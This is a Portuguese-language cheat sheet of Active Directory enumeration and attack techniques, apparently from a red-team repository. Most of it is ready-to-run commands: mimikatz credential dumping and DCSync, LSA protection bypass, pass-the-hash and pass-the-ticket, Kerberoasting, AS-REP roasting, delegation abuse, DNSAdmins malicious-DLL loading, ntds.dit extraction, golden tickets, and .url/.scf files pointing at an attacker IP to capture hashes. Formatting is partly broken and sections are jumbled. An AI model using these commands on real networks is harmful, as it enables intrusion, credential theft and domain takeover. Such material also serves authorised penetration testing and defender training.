
Uma folha de dicas que contém métodos comuns de enumeração e ataque para o Active Directory do Windows.
Esta folha de dicas contém métodos comuns de enumeração e ataque para o Windows Active Directory.
ℹ️ Este repositório foi criado por Nikos Katsiopis e Nikos Vourdas.
Esta folha de dicas é inspirada pelo repositório PayloadAllTheThings.

Powerview v.3.0
Wiki do PowerView
Obter Domínio Atual: Get-Domain
Enumerar Outros Domínios: Get-Domain -Domain <DomainName>
Obter SID do Domínio: Get-DomainSID
Obter Política de Domínio: ```powershell Get-DomainPolicy
#Will show us the policy configurations of the Domain about system access or kerberos Get-DomainPolicy | Select-Object -ExpandProperty SystemAccess Get-DomainPolicy | Select-Object -ExpandProperty KerberosPolicy
Obter Controladores de Domínio: ```powershell Get-DomainController Get-DomainController -Domain
Enumerar Usuários do Domínio: ```powershell #Save all Domain Users to a file Get-DomainUser | Out-File -FilePath .\DomainUsers.txt
#Will return specific properties of a specific user Get-DomainUser -Identity [username] -Properties DisplayName, MemberOf | Format-List
#Enumerate user logged on a machine Get-NetLoggedon -ComputerName
#Enumerate Session Information for a machine Get-NetSession -ComputerName
#Enumerate domain machines of the current/specified domain where specific users are logged into Find-DomainUserLocation -Domain | Select-Object UserName, SessionFromName
Enumerar Computadores do Domínio: ```powershell Get-DomainComputer -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
#Enumerate Live machines Get-DomainComputer -Ping -Properties OperatingSystem, Name, DnsHostName | Sort-Object -Property DnsHostName
❗ Priv Esc para Administrador de Domínio com Caça a Usuários:
Tenho acesso de administrador local em uma máquina -> Um Administrador de Domínio tem uma sessão nessa máquina -> Roubo seu token e o personifico -> Lucro!
Obter Domínio Atual: Get-ADDomain
Enumerar Outros Domínios: Get-ADDomain -Identity <Domain>
Obter SID do Domínio: Get-DomainSID
Obter Controladores de Domínio: ```powershell Get-ADDomainController Get-ADDomainController -Identity
Enumerar Usuários do Domínio: ```powershell Get-ADUser -Filter * -Identity -Properties *
#Get a specific "string" on a user's attribute Get-ADUser -Filter 'Description -like "wtver"' -Properties Description | select Name, Description
Enumeração de Computadores do Domínio: ```powershell Get-ADComputer -Filter * -Properties * Get-ADGroup -Filter *
Enumerar confiança de domínio: ```powershell Get-ADTrust -Filter * Get-ADTrust -Identity
Enum Forest Trust: ```powershell Get-ADForest Get-ADForest -Identity
#Domains of Forest Enumeration (Get-ADForest).Domains
Enumeração da Política Efetiva Local do AppLocker: ```powershell Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
Repositório Python BloodHound ou instale-o com `pip3 install bloodhound````powershell bloodhound-python -u -p -ns <Domain Controller's Ip> -d -c All
#### BloodHound no Local```powershell
#Using exe ingestor
.\SharpHound.exe --CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --domain <Domain> --domaincontroller <Domain Controller's Ip> --OutputDirectory <PathToFile>
#Using PowerShell module ingestor
. .\SharpHound.ps1
Invoke-BloodHound -CollectionMethod All --LdapUsername <UserName> --LdapPassword <Password> --OutputDirectory <PathToFile>
./adalanche collect activedirectory --domain
--username Username@Domain --password
--server
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
./adalanche collect activedirectory --domain windcorp.local
--username [email protected] --password 'password123!'
--server dc.windcorp.htb --tlsmode NoTLS --port 389
--authmode basic
./adalanche analyze
#### Exportar Objetos Enumerados
Você pode exportar objetos enumerados de qualquer módulo/cmdlet para um arquivo XML para análise posterior.
O cmdlet `Export-Clixml` cria uma representação baseada em XML da Common Language Infrastructure (CLI) de um ou mais objetos e a armazena em um arquivo. Em seguida, você pode usar o cmdlet `Import-Clixml` para recriar o objeto salvo com base no conteúdo desse arquivo.```powershell
# Export Domain users to xml file.
Get-DomainUser | Export-CliXml .\DomainUsers.xml
# Later, when you want to utilise them for analysis even on any other machine.
$DomainUsers = Import-CliXml .\DomainUsers.xml
# You can now apply any condition, filters, etc.
$DomainUsers | select name
$DomainUsers | ? {$_.name -match "User's Name"}
Windows Local Privilege Escalation Cookbook Cookbook para Escalação de Privilégio Local no Windows
Juicy Potato Abusar dos privilégios SeImpersonate ou SeAssignPrimaryToken para Impersonação do Sistema
⚠️ Funciona apenas até Windows Server 2016 e Windows 10 até o patch 1803
Lovely Potato Juicy Potato Automatizado
⚠️ Funciona apenas até Windows Server 2016 e Windows 10 até o patch 1803
PrintSpoofer Explorar o PrinterBug para Impersonação do Sistema
🙏 Funciona para Windows Server 2019 e Windows 10
RoguePotato Juicy Potato Atualizado
🙏 Funciona para Windows Server 2019 e Windows 10
#Enable PowerShell Remoting on current Machine (Needs Admin Access) Enable-PSRemoting
#Entering or Starting a new PSSession (Needs Admin Access) $sess = New-PSSession -ComputerName Enter-PSSession -ComputerName OR -Sessions
### Execução Remota de Código com Credenciais PS```powershell
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('htb.local\<WtverUser>', $SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -ScriptBlock {whoami}
#Execute the command and start a session Invoke-Command -Credential $cred -ComputerName -FilePath c:\FilePath\file.ps1 -Session $sess
#Interact with the session Enter-PSSession -Session $sess
### Executando Comandos Remotos Stateful```powershell
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>
#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}
#Check the result of the command to confirm we have an interactive session
Invoke-Command -Session $sess -ScriptBlock {$ps}
#The commands are in cobalt strike format!
#Dump LSASS: mimikatz privilege::debug mimikatz token::elevate mimikatz sekurlsa::logonpasswords
#(Over) Pass The Hash mimikatz privilege::debug mimikatz sekurlsa::pth /user: /ntlm:<> /domain:
#List all available kerberos tickets in memory mimikatz sekurlsa::tickets
#Dump local Terminal Services credentials mimikatz sekurlsa::tspkg
#Dump and save LSASS in a file mimikatz sekurlsa::minidump c:\temp\lsass.dmp
#List cached MasterKeys mimikatz sekurlsa::dpapi
#List local Kerberos AES Keys mimikatz sekurlsa::ekeys
#Dump SAM Database mimikatz lsadump::sam
#Dump SECRETS Database mimikatz lsadump::secrets
#Inject and dump the Domain Controler's Credentials mimikatz privilege::debug mimikatz token::elevate mimikatz lsadump::lsa /inject
#Dump the Domain's Credentials without touching DC's LSASS and also remotely mimikatz lsadump::dcsync /domain: /all
#Dump old passwords and NTLM hashes of a user mimikatz lsadump::dcsync /user:<user> /history
#List and Dump local kerberos credentials mimikatz kerberos::list /dump
#Pass The Ticket mimikatz kerberos::ptt
#List TS/RDP sessions mimikatz ts::sessions
#List Vault credentials mimikatz vault::list
:exclamation: E se o mimikatz falhar ao extrair credenciais devido aos controles de Proteção LSA?
- LSA como um Processo Protegido (Bypass do Kernel Land) ```powershell
#Check if LSA runs as a protected process by looking if the variable "RunAsPPL" is set to 0x1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa
#Next upload the mimidriver.sys from the official mimikatz repo to same folder of your mimikatz.exe
#Now lets import the mimidriver.sys to the system
mimikatz # !+
#Now lets remove the protection flags from lsass.exe process
mimikatz # !processprotect /process:lsass.exe /remove
#Finally run the logonpasswords function to dump lsass
mimikatz # sekurlsa::logonpasswords
LSA como um Processo Protegido (Bypass "Fileless" em Userland)
LSA está executando como processo virtualizado (LSAISO) pelo Credential Guard ```powershell #Check if a process called lsaiso.exe exists on the running processes tasklist |findstr lsaiso
#If it does there isn't a way tou dump lsass, we will only get encrypted data. But we can still use keyloggers or clipboard dumpers to capture data. #Lets inject our own malicious Security Support Provider into memory, for this example i'll use the one mimikatz provides mimikatz # misc::memssp
#Now every user session and authentication into this machine will get logged and plaintext credentials will get captured and dumped into c:\windows\system32\mimilsa.log
Se o host para o qual queremos fazer movimento lateral tiver "RestrictedAdmin" ativado, podemos passar o hash usando o protocolo RDP e obter uma sessão interativa sem a senha em texto claro.
Mimikatz: ```powershell #We execute pass-the-hash using mimikatz and spawn an instance of mstsc.exe with the "/restrictedadmin" flag privilege::debug sekurlsa::pth /user: /domain: /ntlm: /run:"mstsc.exe /restrictedadmin"
#Then just click ok on the RDP dialogue and enjoy an interactive session as the user we impersonated
xFreeRDP:```powershell xfreerdp +compression +clipboard /dynamic-resolution +toggle-fullscreen /cert-ignore /bpp:8 /u: /pth: /v:<Hostname | IPAddress>
:exclamation: Se o modo Restricted Admin estiver desabilitado na máquina remota, podemos conectar ao host usando outra ferramenta/protocolo como psexec ou winrm e habilitá-lo criando a seguinte chave de registro e definindo seu valor como zero: "HKLM:\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin".
- Ignorar a restrição de "Sessão Única por Usuário"
Em um computador do domínio, se você tiver execução de comandos como sistema ou administrador local e quiser uma sessão RDP que outro usuário já está usando, você pode contornar a restrição de sessão única adicionando a seguinte chave de registro:```powershell
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUser /t REG_DWORD /d 0
Depois de concluir o que deseja, você pode excluir a chave para restabelecer a restrição de uma sessão por usuário.```powershell REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fSingleSessionPerUse
### Ataques de Arquivos URL
- .url file ```
[InternetShortcut]
URL=whatever
WorkingDirectory=whatever
IconFile=\\<AttackersIp>\%USERNAME%.icon
IconIndex=1
Com base nisso, um script para download direto para /usr/local/bin/ está disponível aqui: fileinfo.sh ```
[InternetShortcut]
URL=file:///leak/leak.html
- .scf file ```
[Shell]
Command=2
IconFile=\\<AttackersIp>\Share\test.ico
[Taskbar]
Command=ToggleDesktop
Colocar esses arquivos em um compartilhamento gravável. A vítima só precisa abrir o explorador de arquivos e navegar até o compartilhamento. Nota que o arquivo não precisa ser aberto ou o usuário interagir com ele, mas deve estar no topo do sistema de arquivos ou apenas visível na janela do explorador do Windows para ser renderizado. Use o responder para capturar os hashes.
❗ Ataques de arquivos .scf não funcionam nas versões mais recentes do Windows.
O QUE É ISSO?:
Todos os usuários padrão do domínio podem solicitar uma cópia de todas as contas de serviço juntamente com seus hashes de senha correspondentes, então podemos solicitar um TGS para qualquer SPN que esteja vinculado a uma conta de "usuário", extrair o bloco criptografado que foi criptografado usando a senha do usuário e fazer brute-force offline.
PowerView: ```powershell #Get User Accounts that are used as Service Accounts Get-NetUser -SPN
#Get every available SPN account, request a TGS and dump its hash Invoke-Kerberoast
#Requesting the TGS for a single account: Request-SPNTicket
#Export all tickets using Mimikatz Invoke-Mimikatz -Command '"kerberos::list /export"'
Módulo AD: ```powershell #Get User Accounts that are used as Service Accounts Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName
Impacket: ```powershell python GetUserSPNs.py /: -outputfile
Rubeus: ```powershell #Kerberoasting and outputing on a file with a specific format Rubeus.exe kerberoast /outfile: /domain:
#Kerberoasting whle being "OPSEC" safe, essentially while not try to roast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /rc4opsec
#Kerberoast AES enabled accounts Rubeus.exe kerberoast /outfile: /domain: /aes
#Kerberoast specific user account Rubeus.exe kerberoast /outfile: /domain: /user: /simple
#Kerberoast by specifying the authentication credentials Rubeus.exe kerberoast /outfile: /domain: /creduser: /credpassword:
O QUE É ISSO?:
Se uma conta de usuário do domínio não exigir a pré-autenticação Kerberos, podemos solicitar um TGT válido para essa conta sem nem mesmo ter credenciais de domínio, extrair o blob criptografado e realizar brute force offline.
Get-DomainUser -PreauthNotRequired -VerboseGet-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuthForçar a desabilitação da pré-autenticação Kerberos em uma conta na qual tenho permissões de gravação ou superiores! Verifique permissões interessantes em contas:
Dica: Adicionamos um filtro, por exemplo, RDPUsers para obter "User Accounts", não Machine Accounts, porque os hashes de Machine Account não são quebráveis!
PowerView:```powershell Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"} Disable Kerberos Preauth: Set-DomainObject -Identity -XOR @{useraccountcontrol=4194304} -Verbose Check if the value changed: Get-DomainUser -PreauthNotRequired -Verbose
- E finalmente execute o ataque usando a ferramenta [ASREPRoast](https://github.com/HarmJ0y/ASREPRoast). ```powershell
#Get a specific Accounts hash:
Get-ASREPHash -UserName <UserName> -Verbose
#Get any ASREPRoastable Users hashes:
Invoke-ASREPRoast -Verbose
Usando Rubeus: ```powershell #Trying the attack for all domain users Rubeus.exe asreproast /format:<hashcat|john> /domain: /outfile:
#ASREPRoast specific user Rubeus.exe asreproast /user: /format:<hashcat|john> /domain: /outfile:
#ASREPRoast users of a specific OU (Organization Unit) Rubeus.exe asreproast /ou: /format:<hashcat|john> /domain: /outfile:
Usando Impacket: ```powershell #Trying the attack for the specified users on the file python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile
Se conseguimos coletar algumas senhas comprometendo uma conta de usuário, podemos usar este método para tentar explorar a reutilização de senhas em outras contas do domínio.
Ferramentas:
ISSO É O QUÊ?: Se tivermos permissões suficientes -> GenericAll/GenericWrite, podemos definir um SPN em uma conta alvo, solicitar um TGS, capturar seu blob e forçá-lo por bruteforce.
PowerView: ```powershell #Check for interesting permissions on accounts: Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
#Check if current user has already an SPN setted: Get-DomainUser -Identity | select serviceprincipalname
#Force set the SPN on the account: Set-DomainObject -Set @{serviceprincipalname='ops/whatever1'}
AD Module: ```powershell #Check if current user has already an SPN setted Get-ADUser -Identity -Properties ServicePrincipalName | select ServicePrincipalName
#Force set the SPN on the account: Set-ADUser -Identiny -ServicePrincipalNames @{Add='ops/whatever1'}
Finalmente, use qualquer ferramenta anterior para obter o hash e fazer kerberoast nele!
Se você tiver acesso de administrador local em uma máquina, tente listar as cópias de sombra; é uma maneira fácil de obter Escalação de Domínio.```powershell #List shadow copies using vssadmin (Needs Admnistrator Access) vssadmin list shadows
#List shadow copies using diskshadow diskshadow list shadows all
#Make a symlink to the shadow copy and access it mklink /d c:\shadowcopy \?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\
1. Você pode despejar a base de dados SAM de backup e obter credenciais.
2. Procure por credenciais armazenadas com DPAPI e descriptografe-as.
3. Aceda a ficheiros sensíveis de backup.
### Listar e Descriptografar Credenciais Armazenadas com o Mimikatz
Normalmente as credenciais encriptadas são armazenadas em:
- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials````powershell
#By using the cred function of mimikatz we can enumerate the cred object and get information about it:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential
#Lets enumerate the Master Key:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"
#Now if we are on the context of the user (or system) that the credential belogs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controler:
dpapi::masterkey /in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc
#We now have the masterkey in our local cache:
dpapi::cache
#Finally we can decrypt the credential using the cached masterkey:
dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"
O QUE É ISSO ?: Se tivermos acesso administrativo a uma máquina que tenha Delegação Irrestrita habilitada, podemos esperar que um alvo de alto valor ou DA se conecte a ela, roubar seu TGT, então ptt e personificar ele!
Usando PowerView:```powershell #Discover domain joined computers that have Unconstrained Delegation enabled Get-NetComputer -UnConstrained
#List tickets and check if a DA or some High Value target has stored its TGT Invoke-Mimikatz -Command '"sekurlsa::tickets"'
#Command to monitor any incoming sessions on our compromised server Invoke-UserHunter -ComputerName -Poll -UserName -Delay -Verbose
#Dump the tickets to disk: Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
#Impersonate the user using ptt attack: Invoke-Mimikatz -Command '"kerberos::ptt "'
**Nota:** Também podemos usar o Rubeus!
### Delegação Restrita
Usando PowerView e Kekeo:```powershell
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
#If we have a user that has Constrained delegation, we ask for a valid tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN> /rc4:<hashedPasswordOfTheUser>
#Then using the TGT we have ask a TGS for a Service this user has Access to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN> /service:<Service's SPN>
#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'
ALTERNATIVA: Usando Rubeus:```powershell Rubeus.exe s4u /user: /rc4: /impersonateuser: /msdsspn:"<Service's SPN>" /altservice: /ptt
Agora podemos acessar o serviço como o usuário personificado!
:triangular_flag_on_post: **E se tivermos direitos de delegação apenas para um SPN específico? (ex: TIME):**
Neste caso, ainda podemos abusar de um recurso do kerberos chamado "serviço alternativo". Isso nos permite solicitar tickets TGS para outros serviços "alternativos" e não apenas para aquele para o qual temos direitos. Isso nos dá a vantagem de solicitar tickets válidos para qualquer serviço que desejarmos que o host suporte, dando-nos acesso completo à máquina alvo.
### Delegação Restrita Baseada em Recursos
_O QUE É ISSO?: \
TL;DR \
Se tivermos privilégios GenericALL/GenericWrite em um objeto de conta de máquina de um domínio, podemos abusar disso e nos personificar como qualquer usuário do domínio para ele. Por exemplo, podemos personificar o Administrador do Domínio e ter acesso completo._
Ferramentas que vamos usar:
- [PowerView](https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon)
- [Powermad](https://github.com/Kevin-Robertson/Powermad)
- [Rubeus](https://github.com/GhostPack/Rubeus)
Primeiro, precisamos entrar no contexto de segurança da conta de usuário/máquina que tem os privilégios sobre o objeto.
Se for uma conta de usuário, podemos usar Pass the Hash, RDP, PSCredentials, etc.
Exemplo de Exploração:```powershell
#Import Powermad and use it to create a new MACHINE ACCOUNT
. .\Powermad.ps1
New-MachineAccount -MachineAccount <MachineAccountName> -Password $(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose
#Import PowerView and get the SID of our new created machine account
. .\PowerView.ps1
$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid
#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
#Next, we need to set the security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView
Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
#After that we need to get the RC4 hash of the new machine account's password using Rubeus
Rubeus.exe hash /password:'p@ssword!'
#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus
Rubeus.exe s4u /user:<MachineAccountName> /rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator /msdsspn:cifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt
#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$
Artigos Detalhados:
❗ Na Delegação Restrita e na Delegação Restrita Baseada em Recursos, se não tivermos a senha/hash da conta com TRUSTED_TO_AUTH_FOR_DELEGATION que tentamos abusar, podemos usar o truque muito útil "tgt::deleg" do kekeo ou "tgtdeleg" do rubeus e enganar o Kerberos para nos dar um TGT válido para essa conta. Em seguida, usamos o ticket em vez do hash da conta para realizar o ataque.```powershell #Command on Rubeus Rubeus.exe tgtdeleg /nowrap
Detailed Article:
[Rubeus – Now With More Kekeo](https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/)
### Abuso de DNSAdmins
_O QUE É ISSO?: Se um usuário é membro do grupo DNSAdmins, ele pode carregar uma DLL arbitrária com os privilégios do dns.exe que executa como SYSTEM. Caso o DC sirva como DNS, o usuário pode escalar seus privilégios para DA. Esse processo de exploração requer privilégios para reiniciar o serviço DNS para funcionar._
1. Enumere os membros do grupo DNSAdmins:
- PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"`
- Módulo AD: `Get-ADGroupMember -Identiny DNSAdmins`
2. Uma vez que encontramos um membro desse grupo, precisamos comprometê-lo (Existem muitas maneiras).
3. Então, ao fornecer uma DLL maliciosa em um compartilhamento SMB e configurar o uso da DLL,podemos escalar nossos privilégios: ```powershell
#Using dnscmd:
dnscmd <NameOfDNSMAchine> /config /serverlevelplugindll \\Path\To\Our\Dll\malicious.dll
#Restart the DNS Service:
sc \\DNSServer stop dns
sc \\DNSServer start dns
WUT IS DIS ?: Se conseguirmos comprometer uma conta de utilizador que seja membro do grupo Backup Operators, podemos abusar do seu SeBackupPrivilege para criar uma shadow copy do estado atual do DC, extrair o ficheiro da base de dados ntds.dit, extrair os hashes e escalar os nossos privilégios para DA.
Depois de termos acesso a uma conta que tenha o SeBackupPrivilege, podemos aceder ao DC e criar uma shadow copy usando o binário assinado diskshadow: ```powershell #Create a .txt file that will contain the shadow copy process script Script ->{ set context persistent nowriters set metadata c:\windows\system32\spool\drivers\color\example.cab set verbose on begin backup add volume c: alias mydrive
create
expose %mydrive% w: end backup }
#Execute diskshadow with our script as parameter diskshadow /s script.txt
Em seguida, precisamos acessar a cópia de sombra, podemos ter o SeBackupPrivilege, mas não podemos apenas copiar e colar o ntds.dit, precisamos simular um software de backup e usar chamadas da API Win32 para copiá-lo em uma pasta acessível. Para isso, vamos usar este repositório incrível: ```powershell #Importing both dlls from the repo using powershell Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeUtils.dll
#Checking if the SeBackupPrivilege is enabled Get-SeBackupPrivilege
#If it isn't we enable it Set-SeBackupPrivilege
#Use the functionality of the dlls to copy the ntds.dit database file from the shadow copy to a location of our choice Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit c:<PathToSave>\ntds.dit -Overwrite
#Dump the SYSTEM hive reg save HKLM\SYSTEM c:\temp\system.hive
Usando smbclient.py do impacket ou outra ferramenta, copiamos o ntds.dit e o hive SYSTEM para nossa máquina local.
Use secretsdump.py do impacket e extraia os hashes.
Use psexec ou outra ferramenta de sua escolha para PTH e obtenha acesso de Administrador do Domínio.
O QUE É ISSO?: Se conseguirmos comprometer um domínio filho de uma floresta e o SID filtering não estiver ativado (na maioria das vezes não está), podemos abusar disso para escalar privilégios para Administrador do Domínio do domínio raiz da floresta. Isso é possível devido ao campo SID History em um ticket TGT do Kerberos, que define os grupos "extras" de segurança e privilégios.
Exemplo de exploração:```powershell #Get the SID of the Current Domain using PowerView Get-DomainSID -Domain current.root.domain.local
#Get the SID of the Root Domain using PowerView Get-DomainSID -Domain root.domain.local
#Create the Enteprise Admins SID Format: RootDomainSID-519
#Forge "Extra" Golden Ticket using mimikatz kerberos::golden /user:Administrator /domain:current.root.domain.local /sid: /krbtgt: /sids: /startoffset:0 /endin:600 /renewmax:10080 /ticket:\path\to\ticket\golden.kirbi
#Inject the ticket into memory kerberos::ptt \path\to\ticket\golden.kirbi
#List the DC of the Root Domain dir \dc.root.domain.local\C$
#Or DCsync and dump the hashes using mimikatz lsadump::dcsync /domain:root.domain.local /all
Artigos Detalhados:
- [Os Tickets Dourados do Kerberos estão Agora Mais Dourados](https://adsecurity.org/?p=1640)
- [Um Guia para Atacar Relações de Confiança de Domínio](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
### Explorando SharePoint
- [CVE-2019-0604](https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d) Exploração de RCE \
[PoC](https://github.com/k8gege/CVE-2019-0604)
- [CVE-2019-1257](https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization) Execução de código através de desserialização BDC
- [CVE-2020-0932](https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters) RCE usando typeconverters \
[PoC](https://github.com/thezdi/PoC/tree/master/CVE-2020-0932)
### Zerologon
- [Zerologon: Comprometimento não autenticado do controlador de domínio](https://www.secura.com/whitepapers/zerologon-whitepaper): White paper da vulnerabilidade.
- [SharpZeroLogon](https://github.com/nccgroup/nccfsas/tree/main/Tools/SharpZeroLogon): Implementação em C# do exploit Zerologon.
- [Invoke-ZeroLogon](https://github.com/BC-SECURITY/Invoke-ZeroLogon): Implementação em PowerShell do exploit Zerologon.
- [Zer0Dump](https://github.com/bb00/zer0dump): Implementação em Python do exploit Zerologon usando a biblioteca impacket.
### PrintNightmare
- [CVE-2021-34527](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527): Detalhes da vulnerabilidade.
- [Implementação do Impacket do PrintNightmare](https://github.com/cube0x0/CVE-2021-1675): PoC confiável do PrintNightmare usando a biblioteca impacket.
- [Implementação em C# do CVE-2021-1675](https://github.com/cube0x0/CVE-2021-1675/tree/main/SharpPrintNightmare): PoC confiável do PrintNightmare escrito em C#.
### Serviços de Certificados do Active Directory
**Verifique por Modelos de Certificados Vulneráveis com:** [Certify](https://github.com/GhostPack/Certify)
_Nota: O Certify também pode ser executado com o comando `execute-assembly` do Cobalt Strike_```powershell
.\Certify.exe find /vulnerable /quiet
Certifique-se de que o valor msPKI-Certificates-Name-Flag está definido como "ENROLLEE_SUPPLIES_SUBJECT" e que os Enrollment Rights permitem Domain/Authenticated Users. Além disso, verifique se o parâmetro pkiextendedkeyusage contém o valor "Client Authentication" e se o parâmetro "Authorized Signatures Required" está definido como 0.
Este exploit funciona apenas porque essas configurações habilitam a autenticação servidor/cliente, o que significa que um invasor pode especificar o UPN de um Domain Admin ("DA") e usar o certificado capturado com o Rubeus para forjar autenticação.
Nota: Se um Domain Admin estiver em um grupo Protected Users, o exploit pode não funcionar como esperado. Verifique antes de escolher um DA como alvo.
Solicite o Certificado de Conta do DA com o Certify```powershell .\Certify.exe request /template:
Enumerar Grupos e Membros do Grupo: ```powershell #Save all Domain Groups to a file: Get-DomainGroup | Out-File -FilePath .\DomainGroup.txt
#Return members of Specific Group (eg. Domain Admins & Enterprise Admins) Get-DomainGroup -Identity '' | Select-Object -ExpandProperty Member Get-DomainGroupMember -Identity '' | Select-Object MemberDistinguishedName
#Enumerate the local groups on the local (or remote) machine. Requires local admin rights on the remote machine Get-NetLocalGroup | Select-Object GroupName
#Enumerates members of a specific local group on the local (or remote) machine. Also requires local admin rights on the remote machine Get-NetLocalGroupMember -GroupName Administrators | Select-Object MemberName, IsGroup, IsDomain
#Return all GPOs in a domain that modify local group memberships through Restricted Groups or Group Policy Preferences Get-DomainGPOLocalGroup | Select-Object GPODisplayName, GroupName
Enumerar Compartilhamentos: ```powershell #Enumerate Domain Shares Find-DomainShare
#Enumerate Domain Shares the current user has access Find-DomainShare -CheckShareAccess
#Enumerate "Interesting" Files on accessible shares Find-InterestingDomainShareFile -Include passwords
Enum Políticas de Grupo: ```powershell Get-DomainGPO -Properties DisplayName | Sort-Object -Property DisplayName
#Enumerate all GPOs to a specific computer Get-DomainGPO -ComputerIdentity -Properties DisplayName | Sort-Object -Property DisplayName
#Get users that are part of a Machine's local Admin group Get-DomainGPOComputerLocalGroupMapping -ComputerName
Enum OUs: ```powershell Get-DomainOU -Properties Name | Sort-Object -Property Name
Enumerar ACLs: ```powershell
Get-DomainObjectAcl -Identity -ResolveGUIDs
#Search for interesting ACEs Find-InterestingDomainAcl -ResolveGUIDs
#Check the ACLs associated with a specified path (e.g smb share) Get-PathAcl -Path "\Path\Of\A\Share"
Enumeração de Confiança de Domínio: ```powershell Get-DomainTrust Get-DomainTrust -Domain
#Enumerate all trusts for the current domain and then enumerates all trusts for each domain it finds Get-DomainTrustMapping
Enumerar Floresta de Confiança: ```powershell Get-ForestDomain Get-ForestDomain -Forest
#Map the Trust of the Forest Get-ForestTrust Get-ForestTrust -Forest
Caça a Usuários: ```powershell #Finds all machines on the current domain where the current user has local admin access Find-LocalAdminAccess -Verbose
#Find local admins on all machines of the domain Find-DomainLocalGroupMember -Verbose
#Find computers were a Domain Admin OR a specified user has a session Find-DomainUserLocation | Select-Object UserName, SessionFromName
#Confirming admin access Test-AdminAccess